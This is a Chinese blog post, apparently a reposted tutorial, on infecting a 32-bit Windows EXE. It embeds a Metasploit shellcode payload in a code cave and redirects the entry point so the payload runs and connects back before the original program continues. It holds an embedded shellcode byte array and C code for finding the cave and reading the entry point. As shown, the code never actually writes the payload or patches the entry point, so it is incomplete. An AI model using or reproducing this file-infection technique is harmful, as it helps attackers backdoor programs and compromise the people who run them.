C/C++ 搜索缝隙并插入ShellCode
将ShellCode放入变量中,然后修改插入可执行文件名称,运行后即可将shellCode插入到EXE中,并设置好装载地址,程序运行后会先上线,然后在执行原始的代码,在使用metaspoit生成shellcode时,运行方式需要指定为线程运行,如果为进程运行,则会卡在ShellCode的循环代码中,原始程序则无法弹出,也就起不到插入的目的了。
插入原理: 首先计算出ShellCode的实际大小,然后将文件指针移动到文件末尾,从文件末尾开始循环查找,找到符合大小的空隙,并开始插入ShellCode代码,当插入完成后,将程序的OEP地址设置为ShellCode执行地址,执行结束后,再跳回原区段继续执行源代码,从而实现插入恶意代码的目的。
该插入程序目前只适用于32位EXE可执行文件,生成的ShellCode也必须为32位,64位需要自己修改一下。
#include <stdio.h>
#include <stddef.h>
#include <windows.h>
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
DWORD FindSpace(LPVOID lpBase, PIMAGE_NT_HEADERS pNtHeader)
{
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)
(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
DWORD dwAddr = pSec->PointerToRawData + pSec->SizeOfRawData - sizeof(shellcode);
dwAddr = (DWORD)(BYTE *)lpBase + dwAddr;
LPVOID lp = malloc(sizeof(shellcode));
memset(lp, 0, sizeof(shellcode));
while (dwAddr > pSec->Misc.VirtualSize)
{
int nRet = memcmp((LPVOID)dwAddr, lp, sizeof(shellcode));
if (nRet == 0)
return dwAddr;
dwAddr--;
}
free(lp);
return 0;
}
int main(int argc, char* argv[])
{
HANDLE hFile,hMap = NULL;
LPVOID lpBase = NULL;
hFile = CreateFile("c://lyshark.exe",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
lpBase = MapViewOfFile(hMap,FILE_MAP_READ | FILE_MAP_WRITE,0,0,0);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
PIMAGE_NT_HEADERS pNtHeader = NULL;
PIMAGE_SECTION_HEADER pSec = NULL;
IMAGE_SECTION_HEADER imgSec = { 0 };
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
return -1;
}
pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBase + pDosHeader->e_lfanew);
DWORD dwAddr = FindSpace(lpBase, pNtHeader);
DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
CloseHandle(hMap);
CloseHandle(hFile);
system("pause");
return 0;
}
文章出处:https://www.cnblogs.com/LyShark/p/14430198.html
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!